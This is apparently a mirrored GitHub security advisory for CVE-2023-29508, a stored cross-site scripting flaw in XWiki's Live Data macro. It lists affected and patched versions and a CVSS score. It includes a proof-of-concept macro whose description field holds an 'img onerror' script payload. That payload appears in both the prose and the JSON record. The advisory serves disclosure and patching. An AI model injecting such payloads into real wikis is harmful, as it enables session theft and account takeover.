GHSA-HMM7-6PH9-8JF2
Vulnerability from github – Published: 2023-04-12 20:36 – Updated: 2025-02-06 20:02
VLAI?
Summary
org.xwiki.platform:xwiki-platform-livedata-macro vulnerable to Basic Cross-site Scripting
Details
Impact
A user without script rights can introduce a stored XSS by using the Live Data macro, if the last author of the content of the page has script rights.
For instance, by adding the LiveData below in the about section of the profile of a user created by an admin.
{{liveData id="movies" properties="title,description"}}
{
"data": {
"count": 1,
"entries": [
{
"title": "Meet John Doe",
"url": "https://www.imdb.com/title/tt0033891/",
"description": "<img onerror='alert(1)' src='foo' />"
}
]
},
"meta": {
"propertyDescriptors": [
{
"id": "title",
"name": "Title",
"visible": true,
"displayer": {"id": "link", "propertyHref": "url"}
},
{
"id": "description",
"name": "Description",
"visible": true,
"displayer": "html"
}
]
}
}
{{/liveData}}
Patches
This has been patched in XWiki 14.10, 14.4.7, and 13.10.11.
Workarounds
No known workaround.
References
- https://jira.xwiki.org/browse/XWIKI-20312
For more information
If you have any questions or comments about this advisory:
- Open an issue in Jira
- Email us at Security ML
Severity ?
8.9 (High)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.platform:xwiki-platform-livedata-macro"
},
"ranges": [
{
"events": [
{
"introduced": "13.10.10"
},
{
"fixed": "13.10.11"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.platform:xwiki-platform-livedata-macro"
},
"ranges": [
{
"events": [
{
"introduced": "14.4"
},
{
"fixed": "14.4.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.platform:xwiki-platform-livedata-macro"
},
"ranges": [
{
"events": [
{
"introduced": "14.9"
},
{
"fixed": "14.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-29508"
],
"database_specific": {
"cwe_ids": [
"CWE-79",
"CWE-80"
],
"github_reviewed": true,
"github_reviewed_at": "2023-04-12T20:36:36Z",
"nvd_published_at": "2023-04-16T08:15:00Z",
"severity": "HIGH"
},
"details": "### Impact\nA user without script rights can introduce a stored XSS by using the Live Data macro, if the last author of the content of the page has script rights.\n\nFor instance, by adding the LiveData below in the about section of the profile of a user created by an admin.\n\n```javascript\n{{liveData id=\"movies\" properties=\"title,description\"}}\n{\n \"data\": {\n \"count\": 1,\n \"entries\": [\n {\n \"title\": \"Meet John Doe\",\n \"url\": \"https://www.imdb.com/title/tt0033891/\",\n \"description\": \"\u003cimg onerror=\u0027alert(1)\u0027 src=\u0027foo\u0027 /\u003e\"\n }\n ]\n },\n \"meta\": {\n \"propertyDescriptors\": [\n {\n \"id\": \"title\",\n \"name\": \"Title\",\n \"visible\": true,\n \"displayer\": {\"id\": \"link\", \"propertyHref\": \"url\"}\n },\n {\n \"id\": \"description\",\n \"name\": \"Description\",\n \"visible\": true,\n \"displayer\": \"html\"\n }\n ]\n }\n}\n{{/liveData}}\n```\n\n### Patches\nThis has been patched in XWiki 14.10, 14.4.7, and 13.10.11.\n\n### Workarounds\nNo known workaround.\n\n### References\n- https://jira.xwiki.org/browse/XWIKI-20312\n\n### For more information\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [Jira](http://jira.xwiki.org/)\n* Email us at [Security ML](mailto:security@xwiki.org)",
"id": "GHSA-hmm7-6ph9-8jf2",
"modified": "2025-02-06T20:02:37Z",
"published": "2023-04-12T20:36:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-hmm7-6ph9-8jf2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-29508"
},
{
"type": "PACKAGE",
"url": "https://github.com/xwiki/xwiki-platform"
},
{
"type": "WEB",
"url": "https://jira.xwiki.org/browse/XWIKI-20312"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "org.xwiki.platform:xwiki-platform-livedata-macro vulnerable to Basic Cross-site Scripting"
}
Loading…
Loading…
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…